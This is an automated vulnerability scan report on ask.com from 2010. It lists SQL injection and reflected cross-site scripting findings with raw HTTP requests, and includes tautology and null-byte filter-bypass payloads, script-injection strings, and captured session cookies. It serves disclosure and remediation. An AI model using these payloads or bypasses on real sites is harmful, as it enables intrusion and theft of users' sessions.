Report generated by XSS.CX at Sat Nov 20 12:43:57 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

Loading

1. SQL injection

1.1. http://www.ask.com/jsignin [REST URL parameter 1]

1.2. http://www.ask.com/local [gc cookie]

2. Cross-site scripting (reflected)

2.1. http://www.ask.com/pictures [l parameter]

2.2. http://www.ask.com/pictures [l parameter]

2.3. http://www.ask.com/pictures [q parameter]

2.4. http://www.ask.com/pictureslanding [l parameter]

2.5. http://www.ask.com/pictureslanding [q parameter]

2.6. http://www.ask.com/web [q parameter]

2.7. http://www.ask.com/web [qid parameter]

2.8. http://www.ask.com/ [wz_uid cookie]

2.9. http://www.ask.com/about [user cookie]

2.10. http://www.ask.com/ans [wz_uid cookie]

2.11. http://www.ask.com/blogsearch [wz_uid cookie]

2.12. http://www.ask.com/homepage [wz_uid cookie]

2.13. http://www.ask.com/pictureslanding [user cookie]

2.14. http://www.ask.com/pictureslanding%3Fo%3D0%26l%3Ddir5fb41%27%253Balert(1 [wz_uid cookie]

2.15. http://www.ask.com/pictureslanding%3Fo%3D0%26l%3Ddir5fb41%27%3Balert(DOCUMENT.COOKIES [wz_uid cookie]

2.16. http://www.ask.com/video [wz_uid cookie]

2.17. http://www.ask.com/web [wz_uid cookie]

2.18. http://www.ask.com/web [wz_uid cookie]

2.19. http://www.ask.com/web [wz_uid cookie]



1. SQL injection  next
There are 2 instances of this issue:

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Issue remediation

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:



1.1. http://www.ask.com/jsignin [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.ask.com
Path:   /jsignin

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payloads 25257047'%20or%201%3d1--%20 and 25257047'%20or%201%3d2--%20 were each submitted in the REST URL parameter 1. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /jsignin25257047'%20or%201%3d1--%20?o=0&l=dir HTTP/1.1
Host: www.ask.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ldst=sorg=-1|1290271661055; __utmz=252994457.1290271572.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-bG9zK2FuZ2VsZXMraXQrY29uc3VsdGluZw..; accepting=1; wz_scnt=1; gct=; puser=pt=U2F0LTIwLU5vdi0yMDEwLTE2OjQ3OjQxLVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5597|0~5488|0~5489|0~5490|0~5491|0~5397|0; qc=0; cu.wz=0; gcht=; wz_sid=0346C8EF73F2B3A933ADE477A41477DA; wz_uid=0C41C9EC70F2B3A933ADE477A41477DA; __utma=252994457.227355931.1290271572.1290271572.1290271572.1; __utmc=252994457; user=o=0&l=dir; __utmb=252994457.2.10.1290271572;

Response 1 (redirected)

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Sat, 20 Nov 2010 16:59:40 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: cu.wz=0; Domain=.ask.com; Expires=Mon, 19-Nov-2012 16:59:40 GMT; Path=/
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=U2F0LTIwLU5vdi0yMDEwLTE2OjU5OjQwLVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Sun, 20-Nov-2011 16:59:40 GMT; Path=/
Set-Cookie: jss=0; Domain=.ask.com; Expires=Sun, 20-Nov-2011 16:59:40 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Sun, 20-Nov-2011 16:59:40 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 77281

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de
...[SNIP]...
text/javascript">JASK.cfg = (function() {return {"ldomain":"http://www.ask.com","_ldomain":"www.ask.com","secureDomain":"secure.ask.com","uid":"","poll":"false","username":"","avatarurl":"","queryid":"D0BCE2043484BBAADDA838DEC3453BAD","isQuestion":false,"protocol":"https","cleanusername":"","feedbackUrl":"http://feedback.ask.com","thinHeader":"false","fullFlex":"false","viewerIsOwner":"false","trackerImpressionUri":"http://www.ask.com/tracker/i/","trackerActivityUri":"http://www.ask.com/tracker/a/","trackerData":{"ld":"","qsrc":"119","o":"0","l":"dir"},"gigyaAPIKey":'2_kF3uRGWN0bDCn_y8GPWYEQPm_IzHqFvA4P0E2loB9eB0TfwsC2Zjd08EOqXYbqcu',"isAnswerExchangePartner":''};})();</script></head><body><div id="navbar" class="navbar fade"><div class="left shsp"><span class="selected txt3">Web</span><a id="nbImages" href="pictureslanding?o=0&l=dir" class="txt3" >Images</a><a id="nbNews" href="news?o=0&l=dir" class="txt3" >News</a><a id="nbVideos" href="videos?o=0&l=dir" class="txt3" >Videos</a><div class="mlinks"><a id="nbThemes" href="skins?o=0&l=dir" class="txt1" >Themes</a><a id="nbAdvancedSearch" href="webadvanced?o=0&l=dir" class="txt1" >Advanced Search</a><a id="nbSettings" href="settings?o=0&l=dir" class="txt1" >Settings</a><a id="nbSignIn" href="jsignin?o=0&l=dir" class="txt1" >Sign In</a></div></div><div class="cap shsp"></div></div><div id="md_qboxLayout" class="module qboxlayout"><div class="qbox sprite"><div class="input" name="searchBoxContainer"><form action="web"><input id="q" name="q" value="" class="query" value="" autocomplete="off" /><input id="sbut" type="submit" name="search" value="" class="sprite"><input id="qsrc" type="hidden" name="qsrc" value="0" /><input id="origin" type="hidden" name="o" value="0" /><input id="partner" type="hidden" name="l" value="dir" /></form></div><script type="text/javascript">document.getElementById('q').focus();</script></div><div class="peel fade"><a href="skins?o=0&l=dir"></a></div></div><div id="content" class="fade"><div id="content_cap" class="sprite"></div><div id="content_content" class="sprite"><div class="sections"><div id="md_cns1" class="qotd sprite"><div class="hda"><a href="http://www.ask.com/questionoftheday" cl
...[SNIP]...

Request 2

GET /jsignin25257047'%20or%201%3d2--%20?o=0&l=dir HTTP/1.1
Host: www.ask.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ldst=sorg=-1|1290271661055; __utmz=252994457.1290271572.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-bG9zK2FuZ2VsZXMraXQrY29uc3VsdGluZw..; accepting=1; wz_scnt=1; gct=; puser=pt=U2F0LTIwLU5vdi0yMDEwLTE2OjQ3OjQxLVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5597|0~5488|0~5489|0~5490|0~5491|0~5397|0; qc=0; cu.wz=0; gcht=; wz_sid=0346C8EF73F2B3A933ADE477A41477DA; wz_uid=0C41C9EC70F2B3A933ADE477A41477DA; __utma=252994457.227355931.1290271572.1290271572.1290271572.1; __utmc=252994457; user=o=0&l=dir; __utmb=252994457.2.10.1290271572;

Response 2 (redirected)

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Sat, 20 Nov 2010 16:59:41 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: cu.wz=0; Domain=.ask.com; Expires=Mon, 19-Nov-2012 16:59:41 GMT; Path=/
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=U2F0LTIwLU5vdi0yMDEwLTE2OjU5OjQxLVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Sun, 20-Nov-2011 16:59:41 GMT; Path=/
Set-Cookie: jss=0; Domain=.ask.com; Expires=Sun, 20-Nov-2011 16:59:41 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Sun, 20-Nov-2011 16:59:41 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 77270

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de
...[SNIP]...
text/javascript">JASK.cfg = (function() {return {"ldomain":"http://www.ask.com","_ldomain":"www.ask.com","secureDomain":"secure.ask.com","uid":"","poll":"false","username":"","avatarurl":"","queryid":"E421B13EA871884DB455E4D924D28EB4","isQuestion":false,"protocol":"https","cleanusername":"","feedbackUrl":"http://feedback.ask.com","thinHeader":"false","fullFlex":"false","viewerIsOwner":"false","trackerImpressionUri":"http://www.ask.com/tracker/i/","trackerActivityUri":"http://www.ask.com/tracker/a/","trackerData":{"ld":"","qsrc":"119","o":"0","l":"dir"},"gigyaAPIKey":'2_kF3uRGWN0bDCn_y8GPWYEQPm_IzHqFvA4P0E2loB9eB0TfwsC2Zjd08EOqXYbqcu',"isAnswerExchangePartner":''};})();</script></head><body><div id="navbar" class="navbar fade"><div class="left shsp"><span class="selected txt3">Web</span><a id="nbImages" href="pictureslanding?o=0&l=dir" class="txt3" >Images</a><a id="nbNews" href="news?o=0&l=dir" class="txt3" >News</a><a id="nbVideos" href="videos?o=0&l=dir" class="txt3" >Videos</a><div class="mlinks"><a id="nbThemes" href="skins?o=0&l=dir" class="txt1" >Themes</a><a id="nbAdvancedSearch" href="webadvanced?o=0&l=dir" class="txt1" >Advanced Search</a><a id="nbSettings" href="settings?o=0&l=dir" class="txt1" >Settings</a><a id="nbSignIn" href="jsignin?o=0&l=dir" class="txt1" >Sign In</a></div></div><div class="cap shsp"></div></div><div id="md_qboxLayout" class="module qboxlayout"><div class="qbox sprite"><div class="input" name="searchBoxContainer"><form action="web"><input id="q" name="q" value="" class="query" value="" autocomplete="off" /><input id="sbut" type="submit" name="search" value="" class="sprite"><input id="qsrc" type="hidden" name="qsrc" value="0" /><input id="origin" type="hidden" name="o" value="0" /><input id="partner" type="hidden" name="l" value="dir" /></form></div><script type="text/javascript">document.getElementById('q').focus();</script></div><div class="peel fade"><a href="skins?o=0&l=dir"></a></div></div><div id="content" class="fade"><div id="content_cap" class="sprite"></div><div id="content_content" class="sprite"><div class="sections"><div id="md_cns1" class="qotd sprite"><div class="hda"><a href="http://www.ask.com/questionoftheday" cl
...[SNIP]...

1.2. http://www.ask.com/local [gc cookie]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.ask.com
Path:   /local

Issue detail

The gc cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the gc cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request 1

GET /local?qsrc=3103 HTTP/1.1
Host: www.ask.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ldst=sorg=-1|1290271661055; __utmz=252994457.1290271572.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=%00'; tbe=1; qh=1-bG9zK2FuZ2VsZXMraXQrY29uc3VsdGluZw..; accepting=1; wz_scnt=1; gct=; puser=pt=U2F0LTIwLU5vdi0yMDEwLTE2OjQ3OjQxLVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5597|0~5488|0~5489|0~5490|0~5491|0~5397|0; qc=0; cu.wz=0; gcht=; wz_sid=0346C8EF73F2B3A933ADE477A41477DA; wz_uid=0C41C9EC70F2B3A933ADE477A41477DA; __utma=252994457.227355931.1290271572.1290271572.1290271572.1; __utmc=252994457; user=o=0&l=dir; __utmb=252994457.2.10.1290271572;

Response 1 (redirected)

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Sat, 20 Nov 2010 17:01:20 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: cu.wz=0; Domain=.ask.com; Expires=Mon, 19-Nov-2012 17:01:20 GMT; Path=/
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=U2F0LTIwLU5vdi0yMDEwLTE3OjAxOjIwLVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Sun, 20-Nov-2011 17:01:20 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Sun, 20-Nov-2011 17:01:20 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 194832


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">

<html>
<head>
<noscript>
<meta http-equiv="refresh" content="0;URL=http://www.ask.com/loc
...[SNIP]...
<div class="txt3 abstract">

Diners who want to experience exceptional Indian cuisine take a short trip to Bombay Brasserie. Now, in addition to our existing West University location, we are pleased to announce the opening of our Galleria location, just off of 610 and
...[SNIP]...

Request 2

GET /local?qsrc=3103 HTTP/1.1
Host: www.ask.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ldst=sorg=-1|1290271661055; __utmz=252994457.1290271572.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=%00''; tbe=1; qh=1-bG9zK2FuZ2VsZXMraXQrY29uc3VsdGluZw..; accepting=1; wz_scnt=1; gct=; puser=pt=U2F0LTIwLU5vdi0yMDEwLTE2OjQ3OjQxLVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5597|0~5488|0~5489|0~5490|0~5491|0~5397|0; qc=0; cu.wz=0; gcht=; wz_sid=0346C8EF73F2B3A933ADE477A41477DA; wz_uid=0C41C9EC70F2B3A933ADE477A41477DA; __utma=252994457.227355931.1290271572.1290271572.1290271572.1; __utmc=252994457; user=o=0&l=dir; __utmb=252994457.2.10.1290271572;

Response 2 (redirected)

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Sat, 20 Nov 2010 17:01:28 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: cu.wz=0; Domain=.ask.com; Expires=Mon, 19-Nov-2012 17:01:28 GMT; Path=/
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=U2F0LTIwLU5vdi0yMDEwLTE3OjAxOjI4LVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Sun, 20-Nov-2011 17:01:28 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Sun, 20-Nov-2011 17:01:28 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 194829


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">

<html>
<head>
<noscript>
<meta http-equiv="refresh" content="0;URL=http://www.ask.com/loc
...[SNIP]...

2. Cross-site scripting (reflected)  previous
There are 19 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


2.1. http://www.ask.com/pictures [l parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ask.com
Path:   /pictures

Issue detail

The value of the l request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 29fdb'%3balert(1)//4d917efb5f3 was submitted in the l parameter. This input was echoed as 29fdb';alert(1)//4d917efb5f3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /pictures?q=Ohio&o=0&l=29fdb'%3balert(1)//4d917efb5f3&qsrc=3015 HTTP/1.1
Host: www.ask.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ldst=sorg=-1|1290271661055; __utmz=252994457.1290271572.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-bG9zK2FuZ2VsZXMraXQrY29uc3VsdGluZw..; accepting=1; wz_scnt=1; gct=; puser=pt=U2F0LTIwLU5vdi0yMDEwLTE3OjAzOjI1LVVUQw%3D%3D&po=0&pp=dir5fb41%27%3Balert%28document.cookies%29%2F%2Fd1f92dec88a; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5597|0~5488|0~5489|0~5490|1; qc=0; cu.wz=0; gcht=; wz_sid=0B45CFE073F3F30B5FA9E877A6187EDA; wz_uid=074DCFE874F3F30B5FA9E877A6187EDA; __utma=252994457.227355931.1290271572.1290271572.1290271572.1; __utmc=252994457; user="o=0&l=dir5fb41'; __utmb=252994457.2.10.1290271572;

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html;charset=UTF-8
Cache-Control: private
Date: Sat, 20 Nov 2010 18:02:42 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: ldst=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: cu.wz=0; Domain=.ask.com; Expires=Mon, 19-Nov-2012 18:02:42 GMT; Path=/
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: user="o=0&l=29fdb';alert(1)//4d917efb5f3"; Domain=.ask.com; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=U2F0LTIwLU5vdi0yMDEwLTE4OjAyOjQyLVVUQw%3D%3D&po=0&pp=29fdb%27%3Balert%281%29%2F%2F4d917efb5f3; Domain=.ask.com; Expires=Sun, 20-Nov-2011 18:02:42 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Sun, 20-Nov-2011 18:02:42 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 112554


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">
<html>
<head>



...[SNIP]...



var _matchUrl = '/afc-match?q=Ohio&page=1&ac=24&qid=ADABB184D90011265DC483D042F04B4F&qsrc=3015&dm=all&qrt=2&lid=5490&o=0&l=29fdb';alert(1)//4d917efb5f3';


_matchUrl+= "&userip=174.122.23.218";


_matchUrl+="&losid=a&locid=p&lodid=us";


...[SNIP]...

2.2. http://www.ask.com/pictures [l parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ask.com
Path:   /pictures

Issue detail

The value of the l request parameter is copied into a JavaScript rest-of-line comment. The payload ec4a3%0aalert(1)//34861841eee was submitted in the l parameter. This input was echoed as ec4a3
alert(1)//34861841eee
in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /pictures?q=Ohio&o=0&l=dir5fb41'%3balert(DOCUMENT.COOKIES)%2f%2fd1f92dec88aec4a3%0aalert(1)//34861841eee&qsrc=3015 HTTP/1.1
Host: www.ask.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ldst=sorg=-1|1290271661055; __utmz=252994457.1290271572.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-bG9zK2FuZ2VsZXMraXQrY29uc3VsdGluZw..; accepting=1; wz_scnt=1; gct=; puser=pt=U2F0LTIwLU5vdi0yMDEwLTE3OjAzOjI1LVVUQw%3D%3D&po=0&pp=dir5fb41%27%3Balert%28document.cookies%29%2F%2Fd1f92dec88a; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5597|0~5488|0~5489|0~5490|1; qc=0; cu.wz=0; gcht=; wz_sid=0B45CFE073F3F30B5FA9E877A6187EDA; wz_uid=074DCFE874F3F30B5FA9E877A6187EDA; __utma=252994457.227355931.1290271572.1290271572.1290271572.1; __utmc=252994457; user="o=0&l=dir5fb41'; __utmb=252994457.2.10.1290271572;

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Sat, 20 Nov 2010 18:02:46 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: ldst=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: cu.wz=0; Domain=.ask.com; Expires=Mon, 19-Nov-2012 18:02:46 GMT; Path=/
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: user="o=0&l=dir5fb41';alert(DOCUMENT.COOKIES)//d1f92dec88aec4a3 alert(1)//34861841eee"; Domain=.ask.com; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=U2F0LTIwLU5vdi0yMDEwLTE4OjAyOjQ2LVVUQw%3D%3D&po=0&pp=dir5fb41%27%3Balert%28DOCUMENT.COOKIES%29%2F%2Fd1f92dec88aec4a3%0Aalert%281%29%2F%2F34861841eee; Domain=.ask.com; Expires=Sun, 20-Nov-2011 18:02:46 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Sun, 20-Nov-2011 18:02:46 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 117754


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">
<html>
<head>



...[SNIP]...



var _matchUrl = '/afc-match?q=Ohio&page=1&ac=24&qid=5FE0A0EC710BBBF7BFB5CE57623B5A62&qsrc=3015&dm=all&qrt=2&lid=5490&o=0&l=dir5fb41';alert(DOCUMENT.COOKIES)//d1f92dec88aec4a3
alert(1)//34861841eee
';


_matchUrl+= "&userip=174.122.23.218";


_matchUrl+="&losid=a&locid=p&lodid=us";


...[SNIP]...

2.3. http://www.ask.com/pictures [q parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.ask.com
Path:   /pictures

Issue detail

The value of the q request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cd16d\'%3b4e4b316f914 was submitted in the q parameter. This input was echoed as cd16d\\';4e4b316f914 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

GET /pictures?q=Ohiocd16d\'%3b4e4b316f914&o=0&l=dir5fb41'%3balert(DOCUMENT.COOKIES)%2f%2fd1f92dec88a&qsrc=3015 HTTP/1.1
Host: www.ask.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
